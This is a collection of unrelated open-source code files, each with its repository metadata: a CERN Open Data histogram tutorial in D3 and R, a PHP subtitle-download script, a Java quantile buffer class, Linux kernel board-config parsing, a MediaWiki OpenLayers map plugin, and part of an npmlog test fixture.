left:100}, w = 1000 - m.left - m.right, h = 500 - m.top - m.bottom, x = d3.scale.linear().range([0, w]), y = d3.scale.linear().range([h, 0]), xaxis = d3.svg.axis().scale(x).orient("bottom").tickSize(6).ticks(10).tickSubdivide(true), yaxis = d3.svg.axis().scale(y).orient("left").tickSize(6).ticks(10).tickSubdivide(true); var svg = d3.select("#d3-histogram").append("svg") .attr("width", w + m.left + m.right) .attr("height", h + m.top + m.bottom) .append("g") .attr("transform", "translate("+m.left+","+m.top+")"); svg.append("g") .attr("class", "x axis") .attr("transform", "translate(0,"+h+")") .call(xaxis); svg.append("g") .attr("class", "y axis") .call(yaxis); function buildHistogram(data, bw) { var minx = d3.min(data), maxx = d3.max(data), nbins = Math.floor((maxx-minx) / bw); var histogram = d3.layout.histogram(); histogram.bins(nbins); data = histogram(data); x.domain([d3.min(data.map(function(d) {return d.x;})), d3.max(data.map(function(d) {return d.x;}))]); y.domain([0,d3.max(data.map(function(d) {return d.y;}))]); // Draw some grid lines svg.append("g", ".bars") .attr("class", "grid") .call(d3.svg.axis().scale(x) .orient("bottom") .tickSize(h, 0, 0) .tickFormat("") ); svg.append("g", ".bars") .attr("class", "grid") .call(d3.svg.axis().scale(y) .orient("left") .tickSize(-2*h, 0, 0) .tickFormat("") ); // Draw the axes svg.select("g.x.axis").call(xaxis); svg.select("g.y.axis").call(yaxis); // Label the x axis svg.append("text") .attr("x", w-m.left+10) .attr("y", h+m.bottom-10) .style("text-anchor", "middle") .text("Invariant mass [GeV]"); // Draw the histogram bars var rects = svg.selectAll("rect").data(data); rects.enter().insert("rect") .attr("width", function(d) {return x(d.dx + d.x) - x(d.x)}) .attr("x", function(d,i) {return x(d.x);}) .attr("y", function(d) {return y(d.y);}) .attr("height", function(d) {return h-y(d.y);}); } // Load up a csv file and look at the distribution of the // invariant mass M (in GeV, in bins of size 0.1 GeV): d3.csv("../data/MuRun2010B_0.csv", function(data) { buildHistogram(data.map(function(d) {return d['M'];}), 0.1); }); })(); &lt/script&gt &lt/body&gt </pre> </p> </div> </div> <div class="row"> <div class="col-md-12"> <a name="withr"></a> <h3>With R</h3> <a href="http://www.r-project.org/">R</a> is a software environment for data analysis, statistics and visualisation. This code can be run in the R console. See the <a href="http://www.r-project.org/">R page</a> for more on how to get and run R.</p> <p><pre> # read in the dimuon csv file: dimuons <- read.csv(file="../data/MuRun2010B_0.csv") # select for events where the 2 muons have opposite-sign dimuons.oppsigns <- subset(dimuons, dimuons$Q1*dimuons$Q2 == -1) # and then from those, select events with 2 global muons dimuons.globals <- subset(dimuons.oppsigns, dimuons.oppsigns$Type1 == "G" & dimuons.oppsigns$Type2 == "G") # set the number of bins nbins <- 200 # and make a histogram: hist.data <- hist(log10(dimuons$M), breaks=nbins) # which is not bad on its own # however, another way to draw is to take the data from the hist and make a barplot: barplot(log10(hist.data$counts), names.arg=signif(hist.data$mids,2), col="white") # this works nicely if one uses the dimuons frame directly: qplot(log10(dimuons$M), binwidth=0.01, log="y", colour=I("black"), fill=I("white")) #as does this (which is probably the nicest): ggplot(dimuons, aes(x=log10(M))) + geom_histogram(binwidth=0.01, colour="black", fill="white") + scale_y_log10() # however, this works well and is simple to understand: plot(hist.data$mids, log10(hist.data$counts), type="s", yaxt="n", ylab="", col="black", lwd=2) # let's make histograms of the selections: hist.oppsigns.data <- hist(log10(dimuons.oppsigns$M), breaks=nbins) hist.globals.data <- hist(log10(dimuons.globals$M), breaks=nbins) # and plot all 3 histograms: plot(hist.data$mids, log10(hist.data$counts), xlab="log10(M [GeV])", yaxt="n", ylab="", type="s", col="black", lwd=2) lines(hist.oppsigns.data$mids, log10(hist.oppsigns.data$counts),type="s", col="blue", lwd=2) lines(hist.globals.data$mids, log10(hist.globals.data$counts), type="s", col="red", lwd=2) # add some vertical grid lines abline(v=(c(0.25,0.5,0.75,1.0,1.25,1.5,1.75,2.0)), col="lightgray", lty="dotted") # and a legend legend.txt = c("All muon pairs", "All opposite-sign muon pairs", "All opposite-sign global muon pairs") legend("topright", legend.txt, lwd=c(2.5,2.5,2.5),col=c("black","blue","red")) </pre></p> </div> </div> </div>
aglne/opendata.cern.ch
invenio_opendata/base/templates/histograms_howto.html
HTML
gpl-2.0
10,387
<?php /** |--------------------------------------------------------------------------| | https://github.com/Bigjoos/ | |--------------------------------------------------------------------------| | Licence Info: GPL | |--------------------------------------------------------------------------| | Copyright (C) 2010 U-232 V4 | |--------------------------------------------------------------------------| | A bittorrent tracker source based on TBDev.net/tbsource/bytemonsoon. | |--------------------------------------------------------------------------| | Project Leaders: Mindless,putyn. | |--------------------------------------------------------------------------| _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( U | - | 2 | 3 | 2 )-( S | o | u | r | c | e )-( C | o | d | e ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ */ //made by putyn @tbdev require_once (dirname(__FILE__) . DIRECTORY_SEPARATOR . 'include' . DIRECTORY_SEPARATOR . 'bittorrent.php'); require_once (INCL_DIR . 'phpzip.php'); dbconn(); loggedinorreturn(); $lang = array_merge(load_language('global')); $INSTALLER09['sub_up_dir'] = "C:/webdev/htdocs/uploadsub"; $action = (isset($_POST["action"]) ? $_POST["action"] : ""); if ($action == "download") { $id = isset($_POST["sid"]) ? 0 + $_POST["sid"] : 0; if ($id == 0) stderr($lang['gl_error'], $lang['gl_not_a_valid_id']); else { $res = sql_query("SELECT id, name, filename FROM subtitles WHERE id={$id} ") or sqlerr(__FILE__, __LINE__); $arr = mysqli_fetch_assoc($res); $ext = (substr($arr["filename"], -3)); $fileName = str_replace(array( " ", ".", "-" ) , "_", $arr["name"]) . '.' . $ext; $file = $INSTALLER09['sub_up_dir'] . "/" . $arr["filename"]; $fileContent = file_get_contents($file); $newFile = fopen("{$INSTALLER09['sub_up_dir']}/$fileName", "w"); @fwrite($newFile, $fileContent); @fclose($newFile); $file = array(); $zip = new PHPZip(); $file[] = "{$INSTALLER09['sub_up_dir']}/$fileName"; $fName = "{$INSTALLER09['sub_up_dir']}/" . str_replace(array( " ", ".", "-" ) , "_", $arr["name"]) . ".zip"; $zip->Zip($file, $fName); $zip->forceDownload($fName); @unlink($fName); @unlink("{$INSTALLER09['sub_up_dir']}/$fileName"); sql_query("UPDATE subtitles SET hits=hits+1 where id={$id}"); } } else stderr($lang['gl_error'], $lang['gl_no_way']); ?>
StNr/U-232-V4
downloadsub.php
PHP
gpl-2.0
2,727
/* Copyright (c) 1999 CERN - European Organization for Nuclear Research. Permission to use, copy, modify, distribute and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. CERN makes no representations about the suitability of this software for any purpose. It is provided "as is" without expressed or implied warranty. */ package cern.jet.stat.quantile; /** * A buffer holding elements; internally used for computing approximate quantiles. */ abstract class Buffer extends cern.colt.PersistentObject { protected int weight; protected int level; protected int k; protected boolean isAllocated; /** * This method was created in VisualAge. * @param k int */ public Buffer(int k) { this.k=k; this.weight=1; this.level=0; this.isAllocated=false; } /** * Clears the receiver. */ public abstract void clear(); /** * Returns whether the receiver is already allocated. */ public boolean isAllocated() { return isAllocated; } /** * Returns whether the receiver is empty. */ public abstract boolean isEmpty(); /** * Returns whether the receiver is empty. */ public abstract boolean isFull(); /** * Returns whether the receiver is partial. */ public boolean isPartial() { return ! (isEmpty() || isFull()); } /** * Returns whether the receiver's level. */ public int level() { return level; } /** * Sets the receiver's level. */ public void level(int level) { this.level = level; } /** * Returns the number of elements contained in the receiver. */ public abstract int size(); /** * Sorts the receiver. */ public abstract void sort(); /** * Returns whether the receiver's weight. */ public int weight() { return weight; } /** * Sets the receiver's weight. */ public void weight(int weight) { this.weight = weight; } }
wikimedia/wikidata-query-blazegraph
blazegraph-colt/src/main/java/cern/jet/stat/quantile/Buffer.java
Java
gpl-2.0
2,034
/* linux/arch/arm/mach-s5pv210/mid-cfg.c * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/kernel.h> #include <linux/init.h> #include <linux/string.h> #include <mach/mid-cfg.h> char mid_manufacturer[16]; char mid_model[16]; char mid_camera[16]; char mid_pcb[16]; char mid_lcd[16]; static void getCmdLineEntry(char *name, char *out, unsigned int size) { const char *cmd = saved_command_line; const char *ptr = name; for (;;) { for (; *cmd && *ptr != *cmd; cmd++) ; for (; *cmd && *ptr && *ptr == *cmd; ptr++, cmd++) ; if (!*cmd) { *out = 0; return; } else if (!*ptr && *cmd == '=') { cmd++; break; } else { ptr = name; continue; } } for (; --size && *cmd && *cmd != ' '; cmd++, out++) *out = *cmd; *out = 0; } #define GET_CMDLINE(name, locn) getCmdLineEntry(name, locn, sizeof(locn)) void mid_init_cfg(void) { GET_CMDLINE("man", mid_manufacturer); GET_CMDLINE("utmodel", mid_model); GET_CMDLINE("pcb", mid_pcb); GET_CMDLINE("lcd", mid_lcd); GET_CMDLINE("camera", mid_camera); if (!strcmp(mid_manufacturer, "coby")) { // For all Coby models, "utmodel" entry may be absent, and "ts" // may be present in it's place. if (strlen(mid_model) == 0) getCmdLineEntry("ts", mid_model, sizeof(mid_model)); // For 1024N, make some modifications to the model. if (!strcmp(mid_model, "1024n")) strcpy(mid_model, "1024"); // If we are still unable to detect the model, detect from LCD. if (strlen(mid_model) == 0) { if (!strcmp(mid_lcd, "ut7gm")) strcpy(mid_model, "7024"); else if (!strcmp(mid_lcd, "ut08gm")) strcpy(mid_model, "8024"); else if (!strcmp(mid_lcd, "lp101")) strcpy(mid_model, "1024"); else printk("*** WARNING cannot determine Coby model ***\n"); } } printk("Got man=%s, utmodel=%s, pcb=%s, lcd=%s, camera=%s...\n", mid_manufacturer, mid_model, mid_pcb, mid_lcd, mid_camera); }
namko/MID-Kernel-3.0
arch/arm/mach-s5pv210/mid-cfg.c
C
gpl-2.0
2,344
/** * JavaSript for OpenLayers maps in the Maps extension. * @see http://www.mediawiki.org/wiki/Extension:Maps * * @author Jeroen De Dauw <jeroendedauw at gmail dot com> * @author Daniel Werner * * @todo This whole JS is very blown up and could use some quality refactoring. */ (function ($, mw) { $.fn.openlayers = function (mapElementId, options) { this.options = options; OpenLayers._getScriptLocation = function() { return mw.config.get('wgScriptPath') + '/extensions/Maps/includes/services/OpenLayers/OpenLayers/'; }; this.getOLMarker = function (markerLayer, markerData) { var marker; if (markerData.icon !== "") { marker = new OpenLayers.Marker(markerData.lonlat, new OpenLayers.Icon(markerData.icon)); } else { marker = new OpenLayers.Marker(markerData.lonlat, new OpenLayers.Icon(markerLayer.defaultIcon)); } // This is the handler for the mousedown/touchstart event on the marker, and displays the popup. function handleClickEvent(evt) { if (markerData.link) { window.location.href = markerData.link; } else if (markerData.text !== '') { var popup = new OpenLayers.Feature(markerLayer, markerData.lonlat).createPopup(true); popup.setContentHTML(markerData.text); markerLayer.map.addPopup(popup); OpenLayers.Event.stop(evt); // Stop the event. } if (markerData.visitedicon && markerData.visitedicon !== '') { if(markerData.visitedicon === 'on'){ //when keyword 'on' is set, set visitedicon to a default official marker markerData.visitedicon = mw.config.get('wgScriptPath')+'/extensions/Maps/includes/services/OpenLayers/OpenLayers/img/marker3.png'; } marker.setUrl(markerData.visitedicon); markerData.visitedicon = undefined; } } marker.events.register('mousedown', marker, handleClickEvent); marker.events.register('touchstart', marker, handleClickEvent); return marker; }; this.addMarkers = function (map, options) { if (!options.locations) { options.locations = []; } var locations = options.locations; var bounds = null; if (locations.length > 1 && ( options.centre === false || options.zoom === false )) { bounds = new OpenLayers.Bounds(); } var groupLayers = new Object(); var groups = 0; for (var i = locations.length - 1; i >= 0; i--) { var location = locations[i]; // Create a own marker-layer for the marker group: if (!groupLayers[ location.group ]) { // in case no group is specified, use default marker layer: var layerName = location.group != '' ? location.group : mw.msg('maps-markers'); var curLayer = new OpenLayers.Layer.Markers(layerName); groups++; curLayer.id = 'markerLayer' + groups; // define default icon, one of ten in different colors, if more than ten layers, colors will repeat: curLayer.defaultIcon = mw.config.get( 'egMapsScriptPath' ) + '/includes/services/OpenLayers/OpenLayers/img/marker' + ( ( groups + 10 ) % 10 ) + '.png'; map.addLayer(curLayer); groupLayers[ location.group ] = curLayer; } else { // if markers of this group exist already, they have an own layer already var curLayer = groupLayers[ location.group ]; } location.lonlat = new OpenLayers.LonLat(location.lon, location.lat); if (!hasImageLayer) { location.lonlat.transform(new OpenLayers.Projection("EPSG:4326"), new OpenLayers.Projection("EPSG:900913")); } if (bounds != null) bounds.extend(location.lonlat); // Extend the bounds when no center is set. var marker = this.getOLMarker(curLayer, location); this.markers.push({ target:marker, data:location }); curLayer.addMarker(marker); // Create and add the marker. } if (bounds != null) map.zoomToExtent(bounds); // If a bounds object has been created, use it to set the zoom and center. }; this.addControls = function (map, controls, mapElement) { // Add the controls. for (var i = controls.length - 1; i >= 0; i--) { // If a string is provided, find the correct name for the control, and use eval to create the object itself. if (typeof controls[i] == 'string') { if (controls[i].toLowerCase() == 'autopanzoom') { if (mapElement.offsetHeight > 140) controls[i] = mapElement.offsetHeight > 320 ? 'panzoombar' : 'panzoom'; } control = getValidControlName(controls[i]); if (control) { map.addControl(eval('new OpenLayers.Control.' + control + '() ')); } } else { map.addControl(controls[i]); // If a control is provided, instead a string, just add it. controls[i].activate(); // And activate it. } } map.addControl(new OpenLayers.Control.Attribution()); }; this.addLine = function (properties) { var pos = []; for (var x = 0; x < properties.pos.length; x++) { var point = new OpenLayers.Geometry.Point(properties.pos[x].lon, properties.pos[x].lat); point.transform( new OpenLayers.Projection("EPSG:4326"), // transform from WGS 1984 map.getProjectionObject() // to Spherical Mercator Projection ); pos.push(point); } var style = { 'strokeColor':properties.strokeColor, 'strokeWidth':properties.strokeWeight, 'strokeOpacity':properties.strokeOpacity }; var line = new OpenLayers.Geometry.LineString(pos); var lineFeature = new OpenLayers.Feature.Vector(line, properties, style); this.lineLayer.addFeatures([lineFeature]); }; this.addPolygon = function (properties) { var pos = []; for (var x = 0; x < properties.pos.length; x++) { var point = new OpenLayers.Geometry.Point(properties.pos[x].lon, properties.pos[x].lat); point.transform( new OpenLayers.Projection("EPSG:4326"), // transform from WGS 1984 map.getProjectionObject() // to Spherical Mercator Projection ); pos.push(point); } var style = { 'strokeColor':properties.strokeColor, 'strokeWidth':properties.strokeWeight, 'strokeOpacity':properties.onlyVisibleOnHover === true ? 0 : properties.strokeOpacity, 'fillColor':properties.fillColor, 'fillOpacity':properties.onlyVisibleOnHover === true ? 0 : properties.fillOpacity }; var polygon = new OpenLayers.Geometry.LinearRing(pos); var polygonFeature = new OpenLayers.Feature.Vector(polygon, properties, style); this.polygonLayer.addFeatures([polygonFeature]); }; this.addCircle = function (properties) { var style = { 'strokeColor':properties.strokeColor, 'strokeWidth':properties.strokeWeight, 'strokeOpacity':properties.onlyVisibleOnHover === true ? 0 : properties.strokeOpacity, 'fillColor':properties.fillColor, 'fillOpacity':properties.onlyVisibleOnHover === true ? 0 : properties.fillOpacity }; var point = new OpenLayers.Geometry.Point(properties.centre.lon, properties.centre.lat); point.transform( new OpenLayers.Projection("EPSG:4326"), // transform from WGS 1984 map.getProjectionObject() // to Spherical Mercator Projection ); var circle = OpenLayers.Geometry.Polygon.createRegularPolygon( point, properties.radius, 30 ); var circleFeature = new OpenLayers.Feature.Vector(circle, properties, style); this.circleLayer.addFeatures([circleFeature]) }; this.addRectangle = function (properties) { var style = { 'strokeColor':properties.strokeColor, 'strokeWidth':properties.strokeWeight, 'strokeOpacity':properties.onlyVisibleOnHover === true ? 0 : properties.strokeOpacity, 'fillColor':properties.fillColor, 'fillOpacity':properties.onlyVisibleOnHover === true ? 0 : properties.fillOpacity }; var point1 = new OpenLayers.Geometry.Point(properties.ne.lon, properties.ne.lat); var point2 = new OpenLayers.Geometry.Point(properties.sw.lon, properties.sw.lat); point1.transform( new OpenLayers.Projection("EPSG:4326"), // transform from WGS 1984 map.getProjectionObject() // to Spherical Mercator Projection ); point2.transform( new OpenLayers.Projection("EPSG:4326"), // transform from WGS 1984 map.getProjectionObject() // to Spherical Mercator Projection ); var bounds = new OpenLayers.Bounds(); bounds.extend(point1); bounds.extend(point2); var rectangle = bounds.toGeometry(); var rectangleFeature = new OpenLayers.Feature.Vector(rectangle, properties, style); this.rectangleLayer.addFeatures([rectangleFeature]) }; /** * Gets a valid control name (with excat lower and upper case letters), * or returns false when the control is not allowed. */ function getValidControlName(control) { var OLControls = [ 'ArgParser', 'Attribution', 'Button', 'DragFeature', 'DragPan', 'DrawFeature', 'EditingToolbar', 'GetFeature', 'KeyboardDefaults', 'LayerSwitcher', 'Measure', 'ModifyFeature', 'MouseDefaults', 'MousePosition', 'MouseToolbar', 'Navigation', 'NavigationHistory', 'NavToolbar', 'OverviewMap', 'Pan', 'Panel', 'PanPanel', 'PanZoom', 'PanZoomBar', 'Permalink', 'Scale', 'ScaleLine', 'SelectFeature', 'Snapping', 'Split', 'WMSGetFeatureInfo', 'ZoomBox', 'ZoomIn', 'ZoomOut', 'ZoomPanel', 'ZoomToMaxExtent' ]; for (var i = OLControls.length - 1; i >= 0; i--) { if (control == OLControls[i].toLowerCase()) { return OLControls[i]; } } return false; } var _this = this; this.markers = []; // Remove the loading map message. this.text(''); // Create a new OpenLayers map with without any controls on it. var mapOptions = { controls:[] }; // Remove the loading map message. this.text( '' ); /** * ToDo: That layers being created by 'eval' will deny us the possiblity to * set certain options. It's possible to set properties of course but they will * show no effect since they are not passed as options to the constructor. * With this working we could adjust max/minScale to display overlays independent * from the specified values in the layer which only make sense if the layer is * displayed as base layer. On the other hand, it might be intended overlay * layers are only seen at a certain zoom level. */ // collect all layers and check for custom image layer: var hasImageLayer = false; var layers = []; // evaluate base layers: for( i = 0, n = options.layers.length; i < n; i++ ) { layer = eval( options.layers[i] ); layer.isBaseLayer = true; // Ideally this would check if the object is of type OpenLayers.layer.image if( layer.isImage === true ) { hasImageLayer = true; layer.transitionEffect = 'resize'; // makes transition smoother } layers.push( layer ); } // Create KML layer and push it to layers if (options.kml.length>0) { var kmllayer = new OpenLayers.Layer.Vector("KML Layer", { strategies: [new OpenLayers.Strategy.Fixed()], protocol: new OpenLayers.Protocol.HTTP({ url: options.kml, format: new OpenLayers.Format.KML({ extractStyles: true, extractAttributes: true, maxDepth: 2, 'internalProjection': new OpenLayers.Projection( "EPSG:900913" ), //EPSG:3785/900913 'externalProjection': new OpenLayers.Projection( "EPSG:4326" ) //EPSG:4326 }) }) }); layers.push( kmllayer ); } // Create a new OpenLayers map with without any controls on it. var mapOptions = { controls: [] }; //mapOptions.units = "m"; if ( !hasImageLayer ) { mapOptions.projection = new OpenLayers.Projection( "EPSG:900913" ); mapOptions.displayProjection = new OpenLayers.Projection( "EPSG:4326" ); mapOptions.units = "m"; mapOptions.numZoomLevels = 18; mapOptions.maxResolution = 156543.0339; mapOptions.maxExtent = new OpenLayers.Bounds( -20037508, -20037508, 20037508, 20037508 ); } this.map = new OpenLayers.Map(mapElementId, mapOptions); var map = this.map; if (!options['static']) { this.addControls(map, options.controls, this.get(0)); } map.addLayers( layers ); // Add the base layers //Add markers this.addMarkers( map, options ); var centre = false; if ( options.centre === false ) { if ( options.locations.length == 1 ) { centre = new OpenLayers.LonLat( options.locations[0].lon, options.locations[0].lat ); } else if ( options.locations.length == 0 ) { centre = new OpenLayers.LonLat( 0, 0 ); } } else { // When the center is provided, set it. centre = new OpenLayers.LonLat( options.centre.lon, options.centre.lat ); } if( centre !== false ) { if ( !hasImageLayer ) { centre.transform( new OpenLayers.Projection( "EPSG:4326" ), new OpenLayers.Projection( "EPSG:900913" ) ); } map.setCenter( centre ); } if ( options.zoom !== false ) { map.zoomTo( options.zoom ); } if ( options.resizable ) { mw.loader.using( 'ext.maps.resizable', function() { _this.resizable(); } ); } //ugly hack to allow for min/max zoom if (options.maxzoom !== false && options.maxzoom !== undefined || options.minzoom !== false && options.minzoom !== undefined) { if(options.maxzoom === false){ options.maxzoom = mapOptions.numZoomLevels; } map.getNumZoomLevels = function () { var zoomLevels = 1; zoomLevels += options.maxzoom !== false ? options.maxzoom : 0; zoomLevels -= options.minzoom !== false ? options.minzoom : 0; return zoomLevels; }; map.isValidZoomLevel = function (zoomLevel) { var valid = ( (zoomLevel != null) && (zoomLevel >= options.minzoom) && (zoomLevel <= options.maxzoom) ); if (!valid && map.getZoom() == 0) { var maxzoom = options.maxzoom !== false ? options.maxzoom : 0; var minzoom = options.minzoom !== false ? options.minzoom : 0; var zoom = Math.round(maxzoom - (maxzoom - minzoom) / 2); map.zoomTo(zoom); } return valid; } } //Add line layer if applicable if (options.lines && options.lines.length > 0) { this.lineLayer = new OpenLayers.Layer.Vector("Line Layer"); var controls = { select:new OpenLayers.Control.SelectFeature(this.lineLayer, { clickout:true, toggle:false, multiple:true, hover:true, callbacks:{ 'click':function (feature) { openBubbleOrLink(feature.attributes); } } }) }; for (var key in controls) { var control = controls[key]; map.addControl(control); control.activate(); } map.addLayer(this.lineLayer); map.raiseLayer(this.lineLayer, -1); map.resetLayersZIndex(); for (var i = 0; i < options.lines.length; i++) { this.addLine(options.lines[i]); } } if (options.polygons && options.polygons.length > 0) { this.polygonLayer = new OpenLayers.Layer.Vector("Polygon Layer"); var controls = { select:new OpenLayers.Control.SelectFeature(this.polygonLayer, { clickout:true, toggle:false, multiple:true, hover:true, callbacks:{ 'over':function (feature) { if (feature.attributes.onlyVisibleOnHover === true) { var style = { 'strokeColor':feature.attributes.strokeColor, 'strokeWidth':feature.attributes.strokeWeight, 'strokeOpacity':feature.attributes.strokeOpacity, 'fillColor':feature.attributes.fillColor, 'fillOpacity':feature.attributes.fillOpacity } _this.polygonLayer.drawFeature(feature, style); } }, 'out':function (feature) { if (feature.attributes.onlyVisibleOnHover === true && _this.map.popups.length === 0) { var style = { 'strokeColor':feature.attributes.strokeColor, 'strokeWidth':feature.attributes.strokeWeight, 'strokeOpacity':0, 'fillColor':feature.attributes.fillColor, 'fillOpacity':0 } _this.polygonLayer.drawFeature(feature, style); } }, 'click':function (feature) { openBubbleOrLink(feature.attributes); } } }) }; for (var key in controls) { var control = controls[key]; map.addControl(control); control.activate(); } map.addLayer(this.polygonLayer); map.raiseLayer(this.polygonLayer, -1); map.resetLayersZIndex(); for (var i = 0; i < options.polygons.length; i++) { this.addPolygon(options.polygons[i]); } } if (options.circles && options.circles.length > 0) { this.circleLayer = new OpenLayers.Layer.Vector("Circle Layer"); var controls = { select:new OpenLayers.Control.SelectFeature(this.circleLayer, { clickout:true, toggle:false, multiple:true, hover:true, callbacks:{ 'click':function (feature) { openBubbleOrLink(feature.attributes); } } }) }; for (key in controls) { var control = controls[key]; map.addControl(control); control.activate(); } map.addLayer(this.circleLayer); map.raiseLayer(this.circleLayer, -1); map.resetLayersZIndex(); for (var i = 0; i < options.circles.length; i++) { this.addCircle(options.circles[i]); } } if (options.rectangles && options.rectangles.length > 0) { this.rectangleLayer = new OpenLayers.Layer.Vector("Rectangle Layer"); var controls = { select:new OpenLayers.Control.SelectFeature(this.rectangleLayer, { clickout:true, toggle:false, multiple:true, hover:true, callbacks:{ 'click':function (feature) { openBubbleOrLink(feature.attributes); } } }) }; for (var key in controls) { var control = controls[key]; map.addControl(control); control.activate(); } map.addLayer(this.rectangleLayer); map.raiseLayer(this.rectangleLayer, -1); map.resetLayersZIndex(); for (var i = 0; i < options.rectangles.length; i++) { this.addRectangle(options.rectangles[i]); } } if (options.zoom !== false) { map.zoomTo(options.zoom); } if (options.centre === false) { if (options.locations.length == 1) { centre = new OpenLayers.LonLat(options.locations[0].lon, options.locations[0].lat); } else if (options.locations.length == 0) { centre = new OpenLayers.LonLat(0, 0); } } else { // When the center is provided, set it. centre = new OpenLayers.LonLat(options.centre.lon, options.centre.lat); } if (centre !== false) { if (!hasImageLayer) { centre.transform(new OpenLayers.Projection("EPSG:4326"), new OpenLayers.Projection("EPSG:900913")); map.setCenter(centre); } else { map.zoomToMaxExtent(); } } if (options.resizable) { mw.loader.using('ext.maps.resizable', function () { _this.resizable(); }); } if (options.copycoords) { map.div.oncontextmenu = function () { return false; }; OpenLayers.Control.Click = OpenLayers.Class(OpenLayers.Control, { defaultHandlerOptions:{ 'single':true, 'double':false, 'pixelTolerance':0, 'stopSingle':false, 'stopDouble':false }, handleRightClicks:true, initialize:function (options) { this.handlerOptions = OpenLayers.Util.extend( {}, this.defaultHandlerOptions ); OpenLayers.Control.prototype.initialize.apply( this, arguments ); this.handler = new OpenLayers.Handler.Click( this, this.eventMethods, this.handlerOptions ); } }) var click = new OpenLayers.Control.Click({ eventMethods:{ 'rightclick':function (e) { var lonlat = map.getLonLatFromViewPortPx(e.xy); if (!hasImageLayer) { lonlat = lonlat.transform(new OpenLayers.Projection("EPSG:900913"), new OpenLayers.Projection("EPSG:4326")); } prompt(mw.msg('maps-copycoords-prompt'), lonlat.lat + ',' + lonlat.lon); } } }); map.addControl(click); click.activate(); } if (options.searchmarkers) { OpenLayers.Control.SearchField = OpenLayers.Class(OpenLayers.Control, { draw:function (px) { OpenLayers.Control.prototype.draw.apply(this, arguments); var searchBoxValue = mw.msg('maps-searchmarkers-text'); var searchBoxContainer = document.createElement('div'); this.div.style.top = "5px"; this.div.style.right = "5px"; var searchBox = $('<input type="text" value="' + searchBoxValue + '" />'); searchBox.appendTo(searchBoxContainer); searchBox.on('keyup',function (e) { for (var i = 0; i < _this.markers.length; i++) { var haystack = ''; var marker = _this.markers[i]; if (options.searchmarkers == 'title') { haystack = marker.data.title; } else if (options.searchmarkers == 'all') { haystack = marker.data.title + $(marker.data.text).text(); } marker.target.display(haystack.toLowerCase().indexOf(e.target.value.toLowerCase()) != -1); } }).on('focusin',function () { if ($(this).val() === searchBoxValue) { $(this).val(''); } }).on('focusout', function () { if ($(this).val() === '') { $(this).val(searchBoxValue); } }); this.div.appendChild(searchBoxContainer); return this.div; } }); var searchBox = new OpenLayers.Control.SearchField(); map.addControl(searchBox); } if (options.wmsoverlay) { var layer = new OpenLayers.Layer.WMS( "WMSLayer", options.wmsoverlay.wmsServerUrl, { layers: options.wmsoverlay.wmsLayerName }); map.addLayer(layer); map.setBaseLayer(layer); } function openBubbleOrLink(properties) { if (properties.link) { window.location.href = properties.link; } else if (properties.text !== '') { openBubble(properties); } } function openBubble(properties) { var mousePos = map.getControlsByClass("OpenLayers.Control.MousePosition")[0].lastXy var lonlat = map.getLonLatFromPixel(mousePos); var popup = new OpenLayers.Popup(null, lonlat, null, properties.text, true, function () { map.getControlsByClass('OpenLayers.Control.SelectFeature')[0].unselectAll(); map.removePopup(this); }); _this.map.addPopup(popup); } return this; }; })(jQuery, window.mediaWiki);
robksawyer/preciousplasticwiki
extensions/extensions/Maps/includes/services/OpenLayers/jquery.openlayers.js
JavaScript
gpl-2.0
22,178
var tap = require('tap') var log = require('../') var result = [] var logEvents = [] var logInfoEvents = [] var logPrefixEvents = [] var util = require('util') var resultExpect = [ '\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[7msill\u001b[0m \u001b[0m\u001b[35msilly prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[34m\u001b[40mverb\u001b[0m \u001b[0m\u001b[35mverbose prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[32minfo\u001b[0m \u001b[0m\u001b[35minfo prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[32m\u001b[40mhttp\u001b[0m \u001b[0m\u001b[35mhttp prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[30m\u001b[43mWARN\u001b[0m \u001b[0m\u001b[35mwarn prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[31m\u001b[40mERR!\u001b[0m \u001b[0m\u001b[35merror prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[32minfo\u001b[0m \u001b[0m\u001b[35minfo prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[32m\u001b[40mhttp\u001b[0m \u001b[0m\u001b[35mhttp prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[30m\u001b[43mWARN\u001b[0m \u001b[0m\u001b[35mwarn prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[31m\u001b[40mERR!\u001b[0m \u001b[0m\u001b[35merror prefix\u001b[0m x = {"foo":{"bar":"baz"}}\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[31m\u001b[40mERR!\u001b[0m \u001b[0m\u001b[35m404\u001b[0m This is a longer\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[31m\u001b[40mERR!\u001b[0m \u001b[0m\u001b[35m404\u001b[0m message, with some details\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[31m\u001b[40mERR!\u001b[0m \u001b[0m\u001b[35m404\u001b[0m and maybe a stack.\n', 